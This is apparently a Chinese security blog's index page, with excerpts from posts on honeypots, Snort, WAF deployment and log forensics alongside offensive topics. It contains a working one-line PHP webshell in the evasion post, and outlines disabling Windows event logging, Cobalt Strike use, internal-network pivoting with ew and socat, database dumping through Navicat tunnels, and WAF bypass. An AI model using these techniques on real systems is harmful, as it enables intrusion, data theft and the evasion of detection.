蜜罐学习之ssh [ cowrie ]



0x01 蜜罐是什么

1
2
蜜罐其实就是一台无人使用但却被严密监控的网络主机,包含着各类虚假的高价值资源和一些已知漏洞,以此吸引入侵者来入侵该主机
并且在被入侵的过程中,实时记录和审计攻击者的所有攻击流量,行为和数据,以此了解攻击者的攻击方式,手段和目的,便于后期快速完成对其的溯源,取证工作

0x02 蜜罐的一些主要构成模块
按实现大概逻辑划分:

1
2
3
控制,将入侵者牢牢控制在指定的网络范围中,使其不能再以此机器作为跳板来攻击其它的机器
捕获,把入侵者在入侵过程中所产生的各种流量捕获住
分析,将捕获到的各种数据存到数据库或者其它地方,便于后续还原其详细的攻击过程

按具体实现过程划分:

1
2
3
监控各种主机项,如,进程,文件,注册表,网络...
提交给入侵检测,以识别其更详细的入侵手段,并对整个入侵过程做详细记录
入侵数据汇总分析,其实就是把上述两步所得到的各种数据进行集中分析,最后,勾勒出完整的攻击画像

Read More

win入侵日志处理之powershell



0x01 前言:

1
2
3
4
很久之前,我们说过如何利用win自带的wevtutil工具来处理入侵日志
但那有个很致命的缺点,就是删除的时候是一下全给干掉了,这显然不是我们想要的
今天我们就再来介绍另外一种相对[只是相对比较好,个人认为也并不是特别好,但值得改进]比较好的处理方式
也正是我之前说的利用powershell来帮我们搞,具体如下

0x02 首先,我们有必要先来简单了解下windows的svchost进程是干什么的

1
2
通俗来讲,svchost主要是用来实现服务进程数据共享,以此来减少系统资源消耗的这么一个东西,下面挂靠的程序可能有很多
说白点,其内部其实是作为线程[核心点就在这儿]来运行的,关于更详细的简介,可直接参考维基百科上对其的说明

0x03 如果实在想自己实现该功能的话,大体思路如下:

1
2
3
找目标系统中Win事件日志服务的进程名,一般都是在svchost下
并从该进程中获取所对应的Win 事件日志服务线程ID
想办法杀掉这些id所对应的线程,以达到让目标系统日志服务无法正常工作的目的,这样系统就无法再搜集日志了

Read More

全方位构造免杀 webshell 小结[一]



0x01 基于各类常规命令和代码执行函数的花样变形[如,拆分重组,动态执行,以此来躲避静态特征检测],不过像有些高危函数默认就会被运维们禁掉,甚至高版本的php默认已经不让执行[如,php7],万一再开了安全模式,就更费劲了

php中一些常见的执行类型函数:

1
2
3
4
5
6
7
system()
exec()
shell_exec()
passthru()
proc_open()
`` 反引号执行系统命令
...

1
<?php $_POST['fun']($_REQUEST['req']);?>
Read More

cobalt strike 快速上手 [ 一 ]



0x01 关于 Cobalt Strike

1
2
3
一款非常优秀的后渗透平台 [ 谁用谁知道,嘿嘿……说不好用的唯一原因可能就是很多用法还没有被自己挖掘出来,因为不会用所以才会感觉不好用 ]
工具基于java,大部分功能在改进的基础上还是相对比较实用的,非常适合团队间协同作战
更多详情请自行参考官网,这里就不啰嗦了,以下全部简称'cs'

0x02 基础环境简介:

1
2
3
4
5
kali 实际控制端 ip 192.168.1.144
ubuntu 16.04 自己公网的vps ip 53.3.3.6
win2008R2 目标机器 ip 192.168.1.191
centos6.9 已控肉鸡 ip 192.168.1.199
win7cn 另一台肉鸡 ip 192.168.1.123

0x03 先来快速预览cs最基本的一些模块具体用途:

团队服务器[teamserver]

1
2
3
4
主要是为了方便一个渗透团队内部能够及时共享所有成员的渗透信息,加强成员间的交流协作,提高渗透效率
也就是说,正常情况下一个团队只需要起一个团队服务器即可,团队中的所有成员只需要拿着自己的cs客户端登录到团体服务器就能轻松实现协同作战
当然,实际中可能为了尽可能久的维持住目标机器权限,还会习惯性的多开几个团队服务器,防止出现意外情况
另外,团体服务器最好运行在linux平台上[本次演示所用的团队服务器系统为ubuntu 16.04]

Read More

入侵检测学习 Snort [一]



0x01 关于Snort

1
2
3
业界相对比较出名的一款基于网络的开源入侵检测工具
不过,比较适合中小型网络[在流量不是非常大的情况下还是很不错的选择],规则配置灵活,实战适用性相对较好
只是,实在不知道为什么要弄一头猪做logo,这文化差异大的有点儿着实让人无法理解 :)

0x02 理解snort的最基本的工作流程

1
2
3
内网中的数据 -> 数据嗅探[让内网中其它机器上的数据流过自己] -> 进行各种预处理[防止数据逃逸] -> 规则检测引擎 -> 处理报警/日志
| |
匹配规则库 存到数据库或者写到日志文件中

0x03 模块具体作用简介

1
2
3
4
数据包嗅探,让其它机器上的指定数据包都经过自己,以便snort分析数据,同样,用的也是libpcap库,包括在其它很多数据嗅探你工具你都能看到它的身影
预处理,包重组预处理器,主要是为了防止攻击包被拆分逃避Snort的检测,另一个是协议编码预处理器,主要负责把数据包协议解码成一个统一的格式,再丢给检测模块,最后一个是协议异常检测预处器
规则匹配检测,也就是当预处理把数据包丢过来以后,规则引擎会将这些数据包逐个和规则库进行匹配,一旦发现数据包内容与某条规则匹配,就丢给报警模块去处理
报警/日志模块,规则引擎将数据丢给报警模块以后,报警模块会根据snort事先定义好的规则动作(alert,log...)对其进行不同的处理(写到数据库或日志文件中)

Read More

定制轻量高效的WAF Naxsi [一]



0x01 关于naxsi
    同为开源waf,但跟Modsecurity的不同是,它对nginx的兼容性非常好,不依赖现有规则库[单单基于规则库的拦截可能需要经常更新,且容易被绕过,防御起来比较被动],安装定制都非常简单方便,占用系统资源相对较少,对实际业务的适用性更强[方便的白名单设置],有一定的学习能力,不过,实际测试中貌似暂时只能拦截从get或者post过来的数据

0x02 环境准备,依然是拿之前编译好的lnmp环境[具体如何编译配置,请参考博客相关文章]来做演示,把之前的配置文件先备份下,等会儿好直接拿过来用

1
php5.5.38 + mysql-5.5.32 + nginx-1.12.1 + centOS6.8_x64

1
2
3
4
5
# netstat -tulnp | grep "80"
# pkill nginx
# cp /usr/local/nginx/conf/nginx.conf ./
# cp /usr/local/nginx/conf/extra/bwapp.conf ./
# rm -rf /usr/local/nginx*

0x03 下载naxsi,重新编译安装nginx,主要是把naxsi模块加载进去,这里直接用的最新版的nginx稳定版本

1
2
3
4
5
6
7
8
9
10
11
# git clone https://github.com/nbs-system/naxsi.git
# wget http://nginx.org/download/nginx-1.12.1.tar.gz
# yum install pcre pcre-devel openssl openssl-devel -y
# useradd -s /sbin/nologin -M nginx
# tar xf nginx-1.12.1.tar.gz
# cd nginx-1.12.1
# ./configure --prefix=/usr/local/nginx-1.12.1 --user=nginx --group=nginx --with-http_ssl_module --with-http_stub_status_module --with-http_gzip_static_module --with-file-aio --with-http_dav_module --add-module=../naxsi/naxsi_src/
# make && make install
# ln -s /usr/local/nginx-1.12.1/ /usr/local/nginx
# cd /usr/local/nginx/conf/
# mv nginx.conf nginx.conf.bak && egrep -v "^$|#" nginx.conf.bak >> nginx.conf

Read More

自己总结的常规入侵流程脑图


始终坚信,只有深入理解入侵者的真实想法,才是最有效的防御手段

Read More

利用ew轻松穿透多级目标内网

0x01 ew 快速穿透目标内网:

  简要环境说明:

1
2
3
win2008R2 假设为目标边界web服务器,可正常访问公网
假设其公网ip为 192.168.3.23
假设其内网ip为 192.168.32.131

1
2
win2008 假设为目标内网数据库服务器,可正常访问公网
假设其内网ip为 192.168.32.170
1
2
win7 假设为自己公网的vps,没有dns不能访问公网
假设其公网ip为 192.168.3.232
1
2
centos 5.1 假设为目标内网的一台linux机器
假设其内网ip为 192.168.32.169



0x02 首先,利用ew做最简单的正向代理,其实就是大家最常用的所谓的ss:
  在 win2008R2 机器上执行

1
# ew_for_Win.exe -s ssocksd -l 1080

Read More

利用 Navicat 自带的http隧道进行脱裤



0x01 基本环境说明:

1
2
目标边界机器lnmp01的域名及内网ip: www.rootkit.org 192.168.32.167
目标内网中数据库[暂以mysql为例]服务器[win7]的内网ip: 192.168.32.168

1
很明显,lnmp01和win7在目标内网是可以互通的

0x02 实际脱裤可能会面临的一些困境:

1
2
3
4
5
6
想脱数据,但目标数据库不允许root用户外连,可能的原因多种多样,一般只grant到指定的ip才能连
目标站库分离[再正常不过],数据库在内网的某台机器上
即使没分离,当前的数据库用户又不允许外联,另外,由于当前数据库用户权限不够,也没法自己开启外联
即使是root,不知道什么乱七八糟的原因,没法grant允许root外连...
边界防火墙阻断外部ip对内部数据库端口[假设为3306]的访问等等....
还在为脱裤烦恼吗,嘿嘿……navicat也许可以帮到你

0x03 我们最终要实现的效果:

1
通过lnmp01这台机器,脱取内网win7机器上的所有数据

Read More

入侵取证 [ web日志分析初步 ]



0x01 前言
    既然是取证, 不妨就从一个稍微全局点的角度来理解,最先应该搞清楚的, 可能就是, 到底哪些地方会留下入侵者的痕迹 , 这次单单就以最基础的web服务 [ 暂不涉及脚本引擎,数据库及系统方面的东西 ] 基本取证流程为例, 其实很简单,入侵者一般喜欢从哪里下手,就必然会在那里留下痕迹, 可能在此之前我们还需要搞清楚客户端的http数据到底都是从什么地方过来的, 有GET 的 URL 中传来的数据 , POST 中传来的数据,从http头中获取的各类客户端数据 [ 如,cookie,user-agent,Referer,X-Forwarded-For ], 像这些很基础的东西,早该在最开始部署服务的时候就想到,不然,等到真出事的那一天,自己真正能掌握的资料就着实比较少了

0x02 环境简介
    暂以 nginx 为例,一个最基本的日志格式也大概是下面这个样子,当然,这种格式可能会造成你的日志文件特别大 [ 存的东西多嘛 ], 但实际部署时还是需要你根据自己的实际的业务来,这里也仅仅只是做个参考

先在指定的 server 标签中定义好cookie变量

1
2
3
4
5
6
7
8
server{
...
set $dm_cookie "";
if ($http_cookie ~* "(.+)(?:;|$)") {
set $dm_cookie $1;
}
...
}

这时再回到 nginx 主配置文件中, 引用刚刚设置的cookie变量, 这样, 头里面的那几个字段数据就都可以被记录了

1
2
3
4
5
6
7
http {
...
log_format main '$remote_addr - $remote_user [$time_local] '
' "$request" $request_body $status $body_bytes_sent '
' "$http_referer" "$http_user_agent" "$http_x_forwarded_for" "$dm_cookie" ';
...
}

Read More

利用 ELK 深度定制实时入侵日志分析平台初步



0x01 先安装配置好jdk 1.8,因为ES基于java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# export LANG=en
# tar xf jdk-8u131-linux-x64.tar.gz
# mv jdk1.8.0_131/ /usr/local/jdk
# ll /usr/local/jdk
# chown -R root.root /usr/local/jdk/
# ll /usr/local/jdk
# vi /etc/profile
export JAVA_HOME=/usr/local/jdk/
export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
export CLASSPATH=.$CLASSPATH:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$JAVA_HOME/lib/tools.jar
export TOMCAT_HOME=/usr/local/tomcat
# source /etc/profile
# java -version
# javac

0x02 顺便再来熟悉一些必要的基础概念:

1
索引 -> 文档 -> 分片和副本

0x03 下载配置 elasticsearch:

1
2
3
4
# wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.7.2.tar.gz
# tar -xf elasticsearch-1.7.2.tar.gz
# mv elasticsearch-1.7.2 /usr/local/
# ln -s /usr/local/elasticsearch-1.7.2/ /usr/local/elasticsearch

Read More

如何利用 socat 更方便地穿透目标内网



0x01 此次环境说明:

1
2
3
lnmp01 假设为目标DMZ段机器,等会儿会作为proxy
假设其公网ip为 192.168.3.30
假设其内网ip为 192.168.32.167

1
2
win7 假设为目标内网机器
假设其内网ip为 192.168.32.144
1
2
本地机器
假设本地内网ip为 192.168.3.15

0x02 需要注意的一些前提条件

1
本地机器能ping通lnmp01,lnmp01和目标内网中的win7能互通

0x03 最终目的,实现双内网通信,即在我自己的内网中操作目标内网中的机器,当然,实现双内网通信的方式还有非常多,比如常用的几种方法:

1
2
3
4
5
6
最传统的是通过在vps利用lcx listen做转发,然后再在本地bind上去
另外,还是通过vps搭建vpn,本地先连到vpn内网中,再在vps上用lcx tran通过vpn内网转发到本地
还有,利用meterpreter自带的端口转发功能,当然啦,那个是通过meterpreter隧道自己来实现的,也就是说你要先把meterpreter的shell先弹回来,因为这个并非今天重点,暂不多做介绍,有兴趣可自行深度挖掘研究
再有,在一些高级点的马中也自带了各种内网代理功能....
最后,就是接下来咱们要详细说明的这种,利用socat和目标DMZ建立双向通道,然后带出目标内网中所有机器的流量
......

Read More

深入理解 https 通信加密过程



0x01 对对称加密的通俗理解

1
即通信的双方都使用同一个秘钥进行加解密

0x02 对非对称加密算法的通俗理解 [ RSA ]

1
2
3
4
私钥 + 公钥= 密钥对
即用私钥加密的数据,只有对应的公钥才能解密,用公钥加密的数据,只有对应的私钥才能解密
其实这个很容易理解,因为通信双方的手里都有一套自己的密钥对,通信之前双方会先把自己的公钥都先发给对方
然后对方再拿着这个公钥来加密数据响应给对方,等到到了对方那里,对方再用自己的私钥进行解密,就这么简单

0x03 非对称加密所造成的速度慢的问题解决办法

1
2
(1) 先生成一个对称加密算法的密钥,用RSA的方式先安全的发给对方
(2) 随后就不再用RSA了,只用这个对称加密的密钥来互相通信

0x04 不过,以上方式存在明显的中间人问题:

1
假设,此时在客户端和服务器之间存在一个中间人,这个中间人只需要把原本双方通信互发的公钥,换成自己的公钥,这样中间人就可以轻松解密通信双方所发送的所有数据

Read More

bypasswaf for mysql [数据库层面之特殊字符篇]



0x01 先准备好用于测试库表及数据:

1
2
3
4
5
6
7
8
9
10
11
12
mysql> create database injection;
mysql> use injection;
mysql> CREATE TABLE IF NOT EXISTS `user`(
`id` INT UNSIGNED AUTO_INCREMENT,
`username` VARCHAR(30) NOT NULL,
`password` VARCHAR(40) NOT NULL,
`email` VARCHAR(40) NOT NULL,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
mysql> insert into user(username,password,email) values('gentoo','superman','sec@rootkit.org');
mysql> insert into user(username,password,email) values('arch','welcome','lin@hook.org');
mysql> insert into user(username,password,email) values('admin','loginpass','xlion@priv.org');

Read More

ModSecurity 生产级WAF部署优化 [一]



0x01 用大白话来简单说明 WAF 最基本的工作流程

1
捕获客户端的各种请求 -> 匹配WAF拦截规则 -> 命中规则后的处理动作 -> 将整个拦截过程记录到指定的日志文件中 -> 脚本绘制实时攻击图表

0x02 关于modsecurity

1
2
3
4
一款老牌的开源 WAF,相信经常搞渗透的朋友,对市面上经常用的几款WAF,都早已非常熟悉,废话不多说,咱们直奔主题
本次,我们只是单单把它部署到可用的状态,关于规则深度定制,绕过以及白名单设置是我们面的事情
个人非常不建议把modsecuritynginx一起用,实际测试中,问题还非常的多,关于nginx更推荐用naxsi[后面再单独说]
至于源码包,可自行去 modsecurity 的官方站点下载 www.modsecurity.org

0x03 首先,先编译安装好基本的LAMP环境 [具体编译安装过程,可自行参考博客相关文章] ,这里暂时就直接用之前编译好的环境来演示

1
httpd 2.4.27 + php 5.6.31 + mysql 5.5.57 + centOS6.8_x64

0x04 先停掉apache,因为等会儿要编译modsecurity生成对应的库

1
# pkill httpd

0x05 开始编译安装 modsecurity,一如往常,务必先装好一些必要的依赖库,不然中间会有很多的麻烦

1
2
3
4
# yum install httpd-devel apr apr-util-devel apr-devel pcre pcre-devel libxml2 libxml2-devel curl-devel zlib zlib-devel openssl openssl-devel -y
# cd modsecurity-2.9.2
# ./configure --with-apxs=/usr/local/httpd/bin/apxs 生成modsecurity的so
# make && make install

Read More